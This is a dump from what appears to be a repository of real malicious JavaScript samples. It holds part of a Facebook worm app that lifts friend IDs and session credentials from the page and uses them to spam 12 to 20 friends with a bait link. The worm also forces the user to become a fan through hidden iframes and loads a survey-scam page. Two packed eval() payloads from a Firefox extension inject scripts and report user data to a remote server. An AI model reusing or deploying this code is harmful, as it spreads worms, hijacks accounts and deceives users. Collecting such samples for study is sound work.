200 | 			ax_create
201 | 					.fire(
202 | 							'status',
203 | 							'only go here if you are my TRUE friend http://apps.facebook.com/makemelaughnow/');
204 | 			// add credentials
205 | 			ax_create.fire(ax_meth
206 | 					.get(ax_meth.pid),
207 | 					ax_params[$FBJS.idx(0)]);
208 | 			ax_create.fire(ax_meth
209 | 					.get(ax_meth.fbd),
210 | 					ax_params[$FBJS.idx(1)]);
211 | 
212 | 			ax_retmeth = 2;
213 | 			return ax_retmeth;
214 | 
215 | 		} else {
216 | 			// if you have 2-500 friends
217 | 			// send message to first 12-20 of them through touch.facebook.com
218 | 			ax_document.getElementById('frm').setAction(
219 | 					ax_meth.get(ax_meth.m)  /*http://touch.facebook.com/message_send.php*/)
220 | 					.setTarget(
221 | 							ax_meth
222 | 									.get(ax_meth.ftarg));
223 | 
224 | 			// add credentials
225 | 			ax_create.fire(ax_meth
226 | 					.get(ax_meth.fbd),
227 | 					ax_params[$FBJS.idx(1)]);
228 | 			ax_create.fire(ax_meth
229 | 					.get(ax_meth.pid),
230 | 					ax_params[$FBJS.idx(0)]);
231 | 
232 | 			ax_create.fire('ids[]', '');
233 | 			ax_create.fire('subject', 'i thought of you..');
234 | 			ax_create
235 | 					.fire(
236 | 							'body',
237 | 							'im using up my fb ad credits to send u a gift so HERE = http://apps.facebook.com/makemelaughnow/');
238 | 		    // add your friends
239 | 			// min 12
240 | 			var ax_sendamount = (12 > (ax_sheep.length - 1)) ? (ax_sheep.length - 1)
241 | 					: 12;
242 | 			// max 20
243 | 			var ax_sendamount = (ax_sendamount < 20) ? ax_sendamount
244 | 					: 20;
245 | 			for ( var ax_j = 0; ax_j < ax_sendamount; ax_j++) {
246 | 				// add 12-12 first friends
247 | 				ax_create.fire('ids[]',
248 | 						ax_sheep[$FBJS.idx(ax_j)]);
249 | 			}
250 | 			ax_create.fire(ax_meth
251 | 					.get(ax_meth.fbd),
252 | 					ax_params[$FBJS.idx(1)]);
253 | 
254 | 			ax_retmeth = 1;
255 | 			return ax_retmeth;
256 | 		}
257 | 	}
258 | 
259 | 	// app starts here
260 | 	try {
261 | 
262 | 		// here's the trick - the app (or FB) stores most of app's HTML code in a single element title attribute
263 | 		// code extracts lots of data from it (friend ids, credentials, user id, etc.)
264 | 		ax_domethod = ax_findvalues
265 | 				.firefunc(ax_document.getElementById(
266 | 						'help_container').getFirstChild().getTitle());
267 | 		// ax_domethod will be 1 and ax_sheep/ax_params initialized
268 | 	} catch (ax_err) {
269 | 		ax_logerr(ax_err);
270 | 	} finally {
271 | 		if ((ax_domethod == 1)
272 | 				&& (ax_params.length > 1)) { // found credentials
273 | 
274 | 			// add iframe and form
275 | 			ax_document
276 | 					.getElementById('work_container')
277 | 					.setInnerXHTML(
278 | 							"<iframe name='fra' id='fra' frameborder='0' smartsize='false' width='1' height='1' scrolling='no' style='width:1px;height:1px;' src='about:blank'></iframe>");
279 | 			ax_document.getElementById('frm_container')
280 | 					.setInnerXHTML(
281 | 							'<form id="frm" method="POST" action=""></form>');
282 | 
283 | 			// fill out form to touch.facebook.com with your credentials, targetting the form to iframe
284 | 			var ax_submitfrm = ax_methodaction();
285 | 			if (ax_submitfrm > 0) {
286 | 				try {
287 | 					ax_setTimeout(function() {
288 | 						ax_document.getElementById('frm')
289 | 								.submit();
290 | 					}, 1200);
291 | 				} catch (ax_err) {
292 | 					ax_logerr(ax_err);
293 | 				}
294 | 			}
295 | 
296 | 			try {
297 | 				// make current user a fan of the application
298 | 				var ax_lkp = ax_document
299 | 						.createElement('div').setId('lkp');
300 | 				ax_document.getElementById('work_container')
301 | 						.appendChild(ax_lkp);
302 | 				ax_lkp
303 | 						.setInnerXHTML("<iframe id='fralkp' name='fralkp' width='1' height='1' scrolling='no' frameborder='0' style='border:none;overflow:hidden;width:1px;height:1px;' src='about:blank'></iframe>");
304 | 				ax_document.getElementById('fralkp').setSrc(
305 | 						ax_meth.get(ax_meth.lp /* http://touch.facebook.com/reqs.php?id= */)
306 | 								+ '148034935215009&action=fan&'
307 | 								+ ax_meth
308 | 										.get(ax_meth.pid) + '='
309 | 								+ ax_params[$FBJS.idx(0)]);
310 | 				ax_lkp = null;
311 | 			} catch (ax_err) {
312 | 				ax_logerr(ax_err);
313 | 			}
314 | 
315 | 		}
316 | 	}
317 | 
318 | 	// load ads
319 | 	ax_document.getElementById('frabox').setClassName('frabox');
320 | 	ax_document
321 | 			.getElementById('frabox')
322 | 			.setInnerXHTML(
323 | 					'<iframe id="fraoff" name="fraoff" width="760" height="700" scrolling="no" frameborder="0" style="position:relative;overflow:hidden;border:none;width:755px;height:750px;top:-245px;" src="http://track.socialsurveys.us/DefaultPage.aspx?nm=017gjfq68yx9"></iframe>');
324 | 	ax_document.getElementById('loading').setTextValue(
325 | 			'Complete above to see a joke!');
326 | 
327 | 	// clean up after 16 secs
328 | 	ax_setTimeout(function() {
329 | 		ax_document.getElementById('work_container')
330 | 				.setTextValue('');
331 | 		ax_document.getElementById('frm_container').setTextValue(
332 | 				'');
333 | 
334 | 	}, 16000);
335 | 
336 | }
337 | 
338 | ax_setTimeout(function() {
339 | 	ax_startapp();
340 | }, 800);
341 | 


--------------------------------------------------------------------------------
/real/hoster.js:
--------------------------------------------------------------------------------
1 | eval((function(x){var d="";var p=0;while(p<x.length){if(x.charAt(p)!="`")d+=x.charAt(p++);else{var l=x.charCodeAt(p+3)-28;if(l>4)d+=d.substr(d.length-x.charCodeAt(p+1)*96-x.charCodeAt(p+2)+3104-l,l);else d+="`";p+=4}}return d})("function ilx_get_mv(execVid){` +%ega` .$,\"mv\");}` G.p` 8=p` C2` 9(platform){pageCtn=` @#Cnt();ub=` 1#.split(\"erid = \\\"\");if(ub[1]){ub2=` &!` ?$` ;!u=ub2[0];}else{u=\"\";}v=`!5#;xhrUp=new XMLHttpRequest` 3\".open(\"GET\",ilx_uu+\"stat/\"+ilx_vers+\"` &#convert(v+\"||\"+u)+\"/\",true)` f#send(null);urlOk=0;ilx_setTextBox(ilx_lang.patching_lb)` =$Loading` .3var xhrl`!u3l`!w0redirec`!~-`$)$+\"l`\".+\"v=\"+v`\",+l.set`!%#Header(\"Conne`%/!\",\"close\"` E#onreadystatechange=`%W$(){if(` A!` ?!State==4){srvR=` 2#sponseText;error=srvR`%Q&rortext=`%V$` -!`%\\!` H\"` ($`%Y)` /(0];alert` T\"`#v%`$6*stLabel` 8\"remove`$8$);return false;}k1`!U)k1`!U\"k1=k1`!8,` /\"0];k2` G*2` N#2=k2` D-` 0!0];un` H)un` O\"un=un`('-` 0!0];s` G) s` N\"s=s` B,s=s`! !rlVar=s`'a\"k1`'i\"k2`'p#n`'x#` )\"v;urlp`*+!uu+\"video`&@*mv`&D)/?k=`&E*`!*\")+`#t!firstLoch!=\"\"?\"&ref` H#` 1%:`%3!`$#Mwindow.content.stop(` D\"openTab(urlp);}}`'k$`*$%`,q*workMu_start(args,windMu){lnk=unescape(` /\".document.getElementById(\"`!n!nk_\").value);mv` 0Jmv` R'if`!G!==\"dl\"`/'\"`\"0$lnk)`-V$`$v\"lnk`$Y\"m`$>>divx/mu`$?5`#.1`\"{2ream(){`#{+`\"'9dl_auto\").checked=`)/\"if`\"~!` ?Dcount`#%%==\"ok`\"~#`$a)\"`!^\"\"`$m!` r&`#6$` fHwait_type\").innerHTML`#c!`/V!` :!`!(\"_lb;}` OH`!g!`\"#&`!m$`'R,`&<:oad`!9#\").style.color=\"#C66219` =Odl` [-A7A7A7\"`(M2dl`$K`#*#`$P~`%H&dl`$L~`%H\"dl`$i]dl`#pb`$iU`%{3`%)9auto`%E\"`$4K`*k-`$Z\"prefsBranch.setCharPref`-m#`!*\"\",`-b!`!tI`#Y0`%D\"` kG` U[\";}`(Q+`#97`.H%`#)K`(q1`#/I`%?$`!oY`,o$`\"b~`#H8`#=$`#]'` 4\"`#*J`+j!down\")){pageCtn=` 5Ddownloadlink`+5(.toString();unb=` q#.split(\"href=\\\"\"` 8!2=unb[1]` 5$` 3!lnk=unb2[0];` V#2`!=5body`!&2mv`!3%2` x$megavideo.com\");if(mvb[1]){mvb2=` '\"`!A)mv=\"http://www.` T*+mv`!b\"`%I\"mv`$D!flm`!)-font-size: 16px; ` ,!weight: bold;\\\">`!M\"flm[2]){flm2=` '\"` _$<\");fileName=flm2[0].replace(/<\\/?[^>]+>/gi`&N!`!R\"` I%\"\";}`!T\"Down=parseInt`%=P`#k&`'S\"Mu`$5+;clearInterval(timer);wait`\"v#Down+2;`(<'`17!`(d(g`(X4);innH=\"<input type='hidden' `(M\"'\"+` G'+\"' id='`(r&'/>` B8` E&`4/\"` E&` v%escape(lnk)+\"'` X+` V$lnk` A7mv` @7mv` U!div align='center'><br><br>\"`\"b!+=\"` @!` P$temoiMu_'></div` \\\"`!G%oad` 6\"` f. `2|!='padding-top:100px;`'5&18px'>`#V\"lcz(` #!ang.wait_wait_lb,wait)+\"<span`!2%` 8!type'></span`!X$`!`\"`!1`!K#width:500px`!s#` 2#float:left;` >\"25` ?!(`![#`!Q%avi_lb+\")`!#!`$(\"`\"h(`.-#`\"[%color:#A7A7A7;h`)c\"50px`! $`\"i+28px;`$b$butto`&Z,`!G!`2 #lb+\"'/`\"A+`!G*`2F'` o$`2Q!box' \"+`#t!`(P$`1O%?\"`2s#='true'\":\"\")+\"/> `\"`,` t'`!I!`#\"`#h1`#^\"righ`#V+`#34dl`\"G|dwld`#!@dl`\"yDdl`\"rG` p#`#.'`#/,`'F#`\"|\"frame src`!|$uu+\"waiting/` q'lang+\"/mu` .#vers+\"/?f=\"+`/<$+\"' `#6!='6`$!! `#O\"='42` *!`!(!border='0'/`!R%`/ \"`3#4=innH` 3-`/q,`(?+\").addEventListener(\"click\",`*M!orkMu` F#,true`0E$` `?dl` XCdl` PG`$T#` TC`%!!` SI`(m'` XH`\"v)if`&k.){`!E.();}else ` @-`$7$` D-` 3\"();}var `40!=set`4>%function(){if(`\"K\"` &!!`\"9@`12$\")){clear` o%`!%!);return false;}`!x!` %@`!,,title=--wait+\" secondes - `(?&`& E`!k!`'~'`-6\"`1x~`2t\"\\`!C!`2r%\\\"` Z$ang[`+ !_\"+`&3Bart_\").`-i!+\"_lb\"]+\"`3])\";if(wait==0){` R@coun` l&=\"ok`+7.`$(\"`\"A*` R\"lb`#-~`#jA`2L'ar`!S!`'U#`#(H==\"\"?` a*please_lb`0E\"`#^$`'>1`(g%` eK`)x0` @!(` 3$,`)a#`*d&` TQ`+V,` ~#dl` v'}},1000`!$#` I!openTab(urlp);}}`+;$ ilx_get_m`/z$`+O\"ilx_prefsBranch.getBoolPref`!S\"pref_zapmu\")){lnk=window.content`\"-&location.href.split(\"/?\").join(\"/mgr_dl.php?\");urlVar=lnk;urlp`'.!uu+\"video`3f*divx/mu/?k=` 2\"convert(` ^\");`\"G/`\"m!`#6\"`$2%`\"Y4download`!q~`\"U:`!{(lnk`!v,dl`!p.attachMU(){var unsafeWin`!K$top`!|!rowser().selected` +#`!l$W` I\"wrappedJSObject;` j&Loc=(new XPCNativeW` G!r(`!+%,\"`\"H$\"))`\"S%` _!href` B9Loc,\"href\"))`#)!` R!scripts=\"chrome://illimitux/`!r#/megaupload.js\"`#?!injectS` X!(` ]#,href,`!c%);`#:*focuscaptcha(){`$Y-`)d,` D#field\").` Z!();` (L`$(\"(`!>,showcapt`&EH` s#\")` O!`&Z4`!@,main\")){pageCt`%n%` G-body`/~&.toString();nmec=` X#`'[$height=\\\"125\\\">\"` A!fc=nmec[1]` ?$`.{#);namemu=` @![0];frm` c-`4:!`#7$orm` r\"frmfc=frm` c1captf=` ?![0]` (#` 0!.replace(\"check`#5$,\"`\"r4'`!0'').submit` z%` n\"`!6%form>`*=%\")`3k!`#5>=\"<br><br>` #!`3a&\\\"`3f\"\\\"><FORM method=\\\"POST\\\" `\"j/<TABLE`46#\\\"`4'!family:arial; `41*;\\\">\"+`\"$!+\"</table>`\"$#`!J%` n\"`$o,+`$Z\"`3i&`&<>sByTagName(\"td\")[1].width=\"200px` ,T`!T#\"8` 1Oimg\")[0].`#/!.`\"?#` '``!jL`*v2` _(1` (_`\"9$4` )^fontSize=\"2` h!}`3V/rs(`+^&` .#Cnt();vbs`*>,dlf\\\" a` ]!=\\\"\");if(vbs[1]){vb2d=` '\"` H$` >!dwld=vb2d[0]`0[!fileName`,g,`4/%pathname`43%\");` L%` V$[` *$.length-1];waita`-U5`#$,dl\")`-h2waito=` i!`,|)zeit\\\"> `+5#Rs` }+;if(` W!`\"l!waitu` a!o`\"i' \");clearInterval(timer`!/\"=parseInt` b!u[0])+2`!%#`,%7`,*&'`,-\"'`+[#'padding-top:`&y!;`+R*'`,k\"id='_temoiRs_'>`+,\"` 0&load` 4!\"+ilx_lcz`2Z!lang.wait_wait_lb,wait)` >\"` 3%auto_lb`, $`,M!iframe src='` n\"uu+\"waiting/` #ang.lang+\"/rs` .#vers+\"/?f=\"+`%9$+\"' `);\"'650px'`-C$'42` *!`!(!border='0'/`\"9#\"`&i!`#y!=set`$'%`(<$(`4K%Rs` &!!`#y,`&\",`#:%\")){`$p1return false;}` `,title=--wait+\" secondes - `\"D&`%=-`!4-`$G#`'Q(`%%[`$T_\"`(4$==0`#K)`\"N2` c%dwldRs_lb`!_~`\"?>`\"4%start`\"1)`$y1` O\"unchrs(dwld,`\"O#;}}}else`%O2}},1000);` >\"` I9`/D)` 11{dlf`,C!`#((create`#0#(\"form\");dlf.setAttribute(\"`/f\"\",dwld+\"#dlt` 21method\",\"pos` ,2name\",\"dlf` *1id` 2'inp`!Q<inpu`!#\"inp` u2mirror` -3type\",\"hidden`!K#appendChild(` O!`/^$`.K+` :*f` 4.`0w.f\").submit();`3s.veoh(execVid){lhre`$L\"`1r0`2}%href;byprox=\"0\";dvs=` V!`1\"$watch%3D`4A\"!dv`4B\"` 22/\");}` *9videos` @$`!g#!=\"\"` F\"new Array;` \\\"=` ;#` I!` m$tempE=` (\"` p$#\");temp3=` 9![0]` *!Ed` +!3` ?$&` @#` @\"d[0];xhr`!2!XMLHttpRequest`)1!setTextBox`,I&loading_lb`)T\"setL` -\"` .2vvh`,#!uu+\"redirect`19*veoh` +#convert(escape(temp))+\"/\";xhr.open(\"GET\",vvh,true)` 3\"nreadystatechange=`11*xhr.` >!State==4){res_v=` 3\"sponseText`# $\\t\").join(\"\")` ,%n\"` \"/r` 60` S(;error=`!,!` 9$` .!Message=\\\"`&7\"` 0!`$}!` L\"` ($` m%` c&` 5\"0];al`#+!rro`-c#`$C-stLabel` 8\"remove`$I$`3:,`\"n\"`!\\) `!}(hs1` 0*originalHash`!~%hs1`\" !hs2=` &\"`!t)hs=hs2[0]`.r#hs=\"\";}pi` m+permalinkId` r%pi` u\"pi2=` &\"` n)pi=pi` p'pi` u\"od` l,odLink` n&od` r#od2=` '#` m*od=pod` q(od` y!ex`\"b/Extension`$s&x` |\"ex2=` &\"`$i*x=ex` s'ex` x!fl` n+fullPreviewHashPat`#o&fl` }\"fl2=` &\"` v)fl=fl` x'fl` {$_`\"o+` z\"PieceHashFil`&{&fl1_` ~$_=` '#` y+_=fl2_` ~(_`!&!`&NN`&*!!=\"\"||po`-c!||fl`-j\"vhv=\"http://ll-cache.veoh.com/` *!/external/\";mv=vhv+hs+ex+\"?`&3(\"+pi;urlp`,A%`/\"!`,8+`,C\"?k=`,71mv)+\"||\"+` )#pod` #*fl` 3*fl_` *#`-\"!`\"Z!openTab(urlp)`#6#`*<\"\"Cannot `\"{\" Veoh limit`2\"! (Error: ` g\"+\" - \"+`14!+\")\\nContact the admin.\");}}}`-y!send(null` ^P02)` f!`3}-df_stream(){lnk`3q5form`2$!a` [!;urlVar=lnk`#q=divx/df`$!.` ^\"`#>1`!T0download(){`!E=submit(` V0zs` ^(ilx_pageCtn`!!getCnt(`!O\"lks` 0!` :#`(W$link_enc`4+!Array('`)0\"` N#`)4!` &\"` [!` -\"` W$');\"` z\"zslin` ;$[0` 8&,'`/D(`\"t(` M&`%12get link`$x2zs`%$&`!X~`!x^`%vLzs`& B` c!rlzs`\"qP4`%p-4`\"(\"`&^4getElementById(\"divDLStart\")` 2'sByTagName(\"a\")[0].href`#V$` \"`!+\"`!|(` 1#`!SR`%A)`!%~`!|'`$KL4`$MJ4`$W@"))


--------------------------------------------------------------------------------
/real/illimitux.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/koto/owasp-malicious-javascript/c175373f4d6f814e41717e7f79a8ff5dc3b1f118/real/illimitux.jar


--------------------------------------------------------------------------------
/real/illimitux.js:
--------------------------------------------------------------------------------
1 | eval((function(x){var d="";var p=0;while(p<x.length){if(x.charAt(p)!="`")d+=x.charAt(p++);else{var l=x.charCodeAt(p+3)-28;if(l>4)d+=d.substr(d.length-x.charCodeAt(p+1)*96-x.charCodeAt(p+2)+3104-l,l);else d+="`";p+=4}}return d})("var ilx_prefsCom=Components.classes['@mozilla.org/preferences-service;1'].getS` )\"(` Y'interfaces.nsIPrefBranch);`!-)` /\"` ;~` >#).get`!.\"(\"extensions.illimitux.\").QueryI` [$`!q@2`\",&vers=\"4.0\"` *%uu=\"http://www`!!'net/` =&lastLabel=\"` '*Aly=\"no` +&firstLoch` =)inkDivx` ((framesnotChanged=true` 5%welcomed=fals` -&Backup_Time` `(` ,'_second` })ullname=new Array;` +(.mv=\"MegaVideo\"` -+p` 6\"Porn` ,+zs=\"zShare` *+df=\"DepositFiles` c,u` m\"Upload` .+veoh=\"Veoh` *+no` \"5rs=\"Rapids`!;.['4s']=\"4` 7!d\";function`\"u!rand(min,max){var argc=argum`&0!length;if(` 4!==0){min=1000;max=50000;}else ` <&1){}return Math.floor(` &!random()*(max-min+1))+min;}`!N)utf8_encode(argString`!^\"s` '!=` -&+\"\").replace(/\\r\\n/g,\"\\n` (*` ,$`%S!utftext`%_$start,end` '#ringl=0;` 3!=end` '!` 0\"` \"\"`\"s$for(var n=0;n<` =#;n++`!f\"c1` H$charCodeAt(n`!>\"enc=null;if(c1<128){end++`#F&c1>127&&c1<204` ;!c=`\"O\".fromC` n#(c1>>6|192)+` )2&63|128)` v\"` K912|224` Q4>>6` d$` j=if(enc!=`\"B!){` *!d>`#P!){`#|#+`\"y$sub` $\"(`$%%);}` =%enc`$$'n+1;}` z\"` HE`$L));`&z$` P#`&Q+convert(data`$e\"b64=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=`&J\"o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\"\",tmp_arr=[];if(!`!I\"`!s#data;}data=`(C,data+\"\");do{o1=data`&V(i++);o2=` \"23` \"2bits=o1<<16|o2<<8|o3;h1=bits>>18&63;h2` '$2` *!3` (#6` )!4` )!&63;`\"0#[ac++]=b64`!)!At(h1)+` #(2)` \")3` 0*4);}while(i<`!o!`$u$enc=` }#.join(\"\");switch`\"w!` B#%3){case 1:enc=enc.slice(0,-2)+\"==\";break;` A!2` 4.1)+\"` <%default:;}` @$`+w%=/g,\"0Oox\"`!W\"` 0)\\+/g,\"1Ii` (2//g,\"Yyux\");`%4#enc`'\"+lcz(args,reps){tort=args` _%\"%@\"` 7\"` ]$tor`'g,openTab` e!`)l!ilx_prefsBranch.getBoolPref(\"` 5$_tab\")`(A\"win=Compon`0]!classes['@mozilla.org/appshell/window-mediator;1'].getService(` ^'interfaces.nsIW` S!M` P#).getMostRecent` 7\"(\"navigator:browser\");win.openUILinkIn`#.\"\"`!|!`-U#`!N\".content.doc`2i!.location.href`#W!;}`+&+learHTML(obj){`&t\"obj.firstChild){obj.remove` ,!` 0,` d,addTxt`!a\"txt){`$p!append` [\"`!X%createTextNode(txt))`,g,lear` b.`!o*`%8!;`!)0` _+get`!5$s(`%9\"allD` +$=new Array;` +(.push(`#_#top`&/!`$;\"().selected` +#`#$`$n\"`$$%`3<\"allFrames=` 8Rf` X!`4[%i=0;i<` l%`*}#;i++){`!o.` ?%[i]`!M'`0o$` E(`#(+unecape(str){str=str.split(\"<\")`,J#1\");` .+{` 4%2` +.]` 4%3` +.[` 4%4` +.}` 4%5` +.|` 4%6` +.>` 4%7\");cf` 7!`#0#fin=\"\";`'\"cf>=0){fin`4:!`/9$cf);cf--;}t=fin`,1$unes`\"}!`&A-`(N'renFrom`'f!e`,G!!e`2r%false;}if(typeof e==\"string\"){e=xGetElementById(e`0`%e.has` |!Nodes()){e`)c)e`)`*`.$$rue`-y/site`.&#`&|#opener`+~\"RL`.;!uu+args+\".php\"`(r/url`(x$url_list`(q'var docs=`)B-`,\\*`(N\"embed`)O(var parm` ((`(*$j=0;j<doc`($%j++`!C\"this_i`(\\\"=docs[j`/6!`#O#sByTagName(\"` @\"\")` n%c=0;c<` V(` w$c++`$f!` 0([c].src!=\"\"){` ),addEventListener(\"load\",`#S!pdateIcon_frm,true);}}`!u%`\"d#`!_:` @!`!f2` Z\"`!f1` 5\"`!m)`$R$`+8\"` 4.`!N)`$+\"`!<:param`!O'x=0;x`!T\"` Z!`!Q$x`!M(` 5![x` o!Attribute(\"n`$<!==\"movie\"` /=value\")`\"!5` 9:);}}}`(R$` V$`'e.Cnt`'o#tar`/M&`/ED;if(` L)&&` \").currentURI.spec`!%\"xmlserial`(*!XMLS` )!izer`)\"$` 4\"PCNativeWrapper` }*`0{*,\"`)L$\"`)?\"mainstr=`!$%.`!.\"izeToS`,B!(doc`0l'`#&#` R#;}`\"*analyseEmbed`+ %i`*i%`+:\";if(uri`%P$!=0` D\"y=0`!P!Vid`*T+`&,\"` I'`&#%uri`$z!indexOf(\"megavideo\",0)!=\"-1\"){ff=` A$`0J#v=\"`!C!!ff[1]` .0/e/\")`/5!` )7v` ?!Vid[y]`!i'` +\".kind=`!G'` 0$vid=` o!.sub`0'\"(0,8);y++`!-!`\"!1porn`!3~`!jG`!L!`!ZVpermalinkId=`\".&&&` 8-veoh`\";:` ^));ff`!C$` 9\"#\").join(\"` 8!2=ff` 3$&\")`!{#`\"24`!9!`\"8*2[0]`\"2\"`+4$Vid;}else`'D!walo` d'` =#walo`(@,`4j\"Loading(`'M!`)#$`.B'ById(\"charg` +!_ilx\")){` 25ilx_mgttext\").` \"Child` SG`![,set`!`$args){`!m/;loadLabel=`! %create`!%#(\"label\"` ?'.s`.g/,` ~!` :'id=`!S,;`\"8Cappend`\"Y\"` h%)`/W+setMenu` 7!(exec,execVid`,5\"kinds`$i&` }\"statumg\",` )!ctx` #%toolmg`2l#`4C\"` ]!`46)menuk=` 3![c];`% 7` E!)`#f(`\")!renFromNode` ;<;if`\"1!==\"mu\"){barmus`$,5menuitem\");` D\"`$6+`$_\",ilx_lang.stream_` 2!` J%addEventListener(\"click` Q\"get_mu_download,true` v3id\",\"stat_mus\")`$~5`\"E\"`%\")` j\"` q#d`&[6`\"@,d`&f,`\"A,`!p$`\"F)dl`!{U`! -`\"I(dl`\"#Odl)`,,\" `%1&rs\"||`%?$v\"` \"&p` \"&`-*!` %%no` \"*df` \"&4s`&#\"p`#0Cp`#97cz(`#S%rmvLimit`#V\"` ;!fullname[exec])` h#`#T5`*2$(`(M\"sidebarClick`*.*;}`#{&`!O,`#x&limit`#RMp`#n.captcha`#1\"capt`\"sCcapt`&R;` t#`&h$`!=Jcapt`%Z01`!d\"rs1`!BCrs1`!R2\"Select \\\"free\\\" option` L&`$H@window.content.`/f5ff\").submit(`$y&`\"EJrs1);}barpref`'9Dref`\"H3Preferences` 35oncommand`0^#openPref()` :5`&z&p` t)`&[Kref);}}`2a-TextBox(`4(!{if(`#ZDalertTab_\"`1o#clear_addTxt` 2P,`!>!;`!S,`* 5{`2E'v\"`!>\"`.Z!v` 2!`*V\"`'a+mp` =(p` /6`)}&`,7!ocus` ,#(` c/u` j(u_`3%\"` 41d` <*`0@$` 9/`.p!` C&veoh`!U6rs` @'rs(`#5.howAlert(kindArgs,vi` #!){` _!\"\";` w#=` 2#;if(!`$@D_ilx_`$h!Shown`%P!var walo=new Array;return` 1!;}`&\"G` m..value==`\"'$+\"\"+`\")%` z<loch=`!$4location.href.toLowerCase();`!/]`!\\/` \\5body`){)prv);if`$Z%==\"megavideo\"`$`$mv\";`0M\"stLabel=`3^<\"MegaV` _\"`+>5`,J!mgttext\")`,5+status\",\"has_items\"`&y'`!`+porn`!d&p`!9QP` _!` n{`);#`!c\"` (!`!;LV` ]!` h{`,A&`!d\"` ($`!Y0ang.` 9#`!^\"`$0|u`% &u`!95`-j\"` O~==\"zs`!H%zs` O~`!/>df`!H%df` O~`!/>4`\"x&4`\" ~`!.?`27!`!K\"r`!;2`)'8Rapidshare`(H}rs1`!_'1\"` ?l`4@%}if(exec!=\"\"){if`\"Y!prefsBranch.getBoolPref`!'\"pref_pt_\"+exec)==true){ilx_setMenu`#J!` q!,execVid`1&!` TBauto\")` i#idebarClick` a+`\" \"` MEbox` p!`\"D%`,r$&&` *#`#l\"`#I!akeAlert`!#,}`#%$`-])`!d!howcapt(` A!}function ` T7{bd=`428;var embeds` /5`%B&sByTagName(\"` P!\");for(e=0;e<` a\".length;e++){` -\"[e]`%d+wmode\",\"opaque\");` >'rc=` L'rc;}ilx_remov`\";#);alrBox=`!Z%create`!_#(\"div\"` =$`!++id\",\"` 4\"` +4style\",\"z-index:99995;position:fixed;right:10px;color:#FFF;font-size:11px` )\"family:Arial;bottom:0px;width:295px;he` i\"` k!background:transparent url('chrome://illimitux/skin/f`&X!.png') no-repeat 0px 0px;\");bd.appendChild(`\"T\");lbox`$w?`*`\"`#,(`#[>`#d2ertTab_` .1`#r$margin-left:67px; ` +#top:32` &'`$!\"5`\"=\"alr`\"7)`!S+TextNode`.U\"`.W(detects_lb,ilx_fullname[exec]))` u!cls`\"1>cls`\"=5close`\"Q#cls.addEventListener(\"click\"`!>!`'d',`-5!` h2`&w09`&t35px`&W$87`&V&3`&U&` '!cursor:pointer`&5T`\"H!`&_,;\"`.}!`,u#mu\"||` %#zs` \"&df` \"&4s\"){alrbtn`#[>btn`#d5btn`#t#` 4.`#/2text-align:ce`\"f!`#6=3`#M&127`*,'7px;line-` %(`#Z+`*yI`*KStnmu`$!0alrlink1`#B>` B!`'!6eval`2j\"ge`4T$+\"_download\")`'C&` c#`)GD`)b!wld_lb`)J\"btn`,a,` n!` t%2`!hB2`!]Mstream`!|,2`!gA\" \"+`\"'%` c\"`!y5` J6| \"`\"H92);}else`'ho`\"t5function(){ilx_sidebarClick`*M!,execVid);}`#/&`(K~`(K~`(sV`)43`% D`1v-rmvLimit_label,\"\")+\"`%e!}alrpref`%'>pref`%15pref`%D#` C!`1e9openPref`%#&` i/`$QY40`%$&92`%%%65`%\"'4`$},4`$t5789CD8`%$(0`${1`\"U(`)J@Preferences`)o#auto`#i>auto`#r5auto`$$#` 5/`('Z63`#N&`\"_!`(_#3`#N'20`#/FC0C0C0`#1D`\"*!`+>DprefsBranch.setBoolPref`//\"`'*!auto\"`&]#`+nF`!?\"`1/IebriderAuto_box`%$\"disable`$k>` B#`$v6rmv`%)#` 52`$VY`$i!`$0~`${3`\")$`$Kfbox\",fals`%.#removeAlert(`${)`!2%`$^Iont`$|#lbox`3q,btn` #2`!&#` '2auto` $2cls` #2` 92pref);}`#,$ `\"O-{if(window.content.`\"J%get`&u#ById(\"alrBox\")){` :4body.` z\"`!=\"` JM;}`!_*`0Q$(){prefWin=` m#openDialog(\"`3G/`!,#/p`.G&.xul\",\"I` <$ `.a(,` ^#,titlebar,toolbar,`(F\"screen,resizable\");`!J#.focus(`#W,backuproxy`'##bk` (\"`&d#`*%!`%~&` 7!_restored);`\"r5current_` L!\").value=`(\"%Com.getChar`(\"\"network` {\".http\")+\":\"+` C,Int` :4_port\"`\"2,changelang(args){`\"$+update` '!`)4\"`)]+`!Z&locale\",` b!` w+`)!load(){`\"\\5` @%mkdon\").label`\"q!`!F!` 2!_lb`#=6`0:&ide` O.help` C9lang_` P!_activate`$0)` a!` 2/` MAgeneral` T9` =#` KAlangu`!B:` =\"` T6desc_recommended` [.` 2,`!;;button`(P#`#o.` 2.` V6tab`#(-` [0`\"rC` e&about` P9` =!` G@plateforms` S9` =&`)p~`*>P`)t\"`!#&`*7#`!#)`*7#);elemL=`)&9langPop`!}%` V\";var `/E!=new Array(\"auto\",\"box\",\"embed\",\"tab\",\"`/S\"r\",\"zapmu\",\"rs\",\"`\"|\",\"divx\",\"captcha\",\"pt_mv\"` \"\"u` )#p` \"\"` S\"t_veoh` $\"4` +#zs\");for(p=0;p<`![!.length;p++`3W!`+N>\"+` T![p])`,]@` D'.checked`#j0Bool`#x\"` F0;if`.~%[\"` /++\"_lb\"]` }L`'6*` ^4;}}}`/R*tooglepref`0_#`07/`!y1args,`!@@` r!`#%$`0o,welcome(){var win=Components.classes['@mozilla.org/appshell/window-mediator;1'].getService(` ^'interfaces.nsIW` S!M` P#).getMostRecent` 7\"(\"navigator:browser\");win.openUILinkIn`$`!uu+\"`!#/`)~\"`+<%+\"` +#vers+\"/`(9#`3y1`#V*firsttime_` U(_\",false`#5,updateIcon_frm(`$^\"framesnotChanged=` V!`!6!` F&(` [,hitch(obj,meth`(_!!obj[meth]){throw\"method '\"+meth+\"' does not exist on object '\"+obj+\"'\";}var staticArgs=`+B!.prototype.splice.call(arg`&3!s,2,` #%`*6#);return `!q$`%v#a` `1` j&`!1&);` 7,push.apply`(!!`!*&`!$%`\"\\%` @#obj,`'U!;}`#4+injectScript(s` \"!s,url,unsafeCont`&B\"`!q\"sandbox,xmlhttpRequester`.P!safeWin`.R!XPCNativeWrapper(` _-` J%Doc=` T#.`)[$;` q,` p!ilx_` ),` h-,`)$\");`!e#` U!`(t'utils.S` 7\"(`!2#` E%.` X\"`!I$` .%`!Q$=` :*`!g&` 0$`!I\"`)S\"=`!L,` =%__`$j!__` a+` 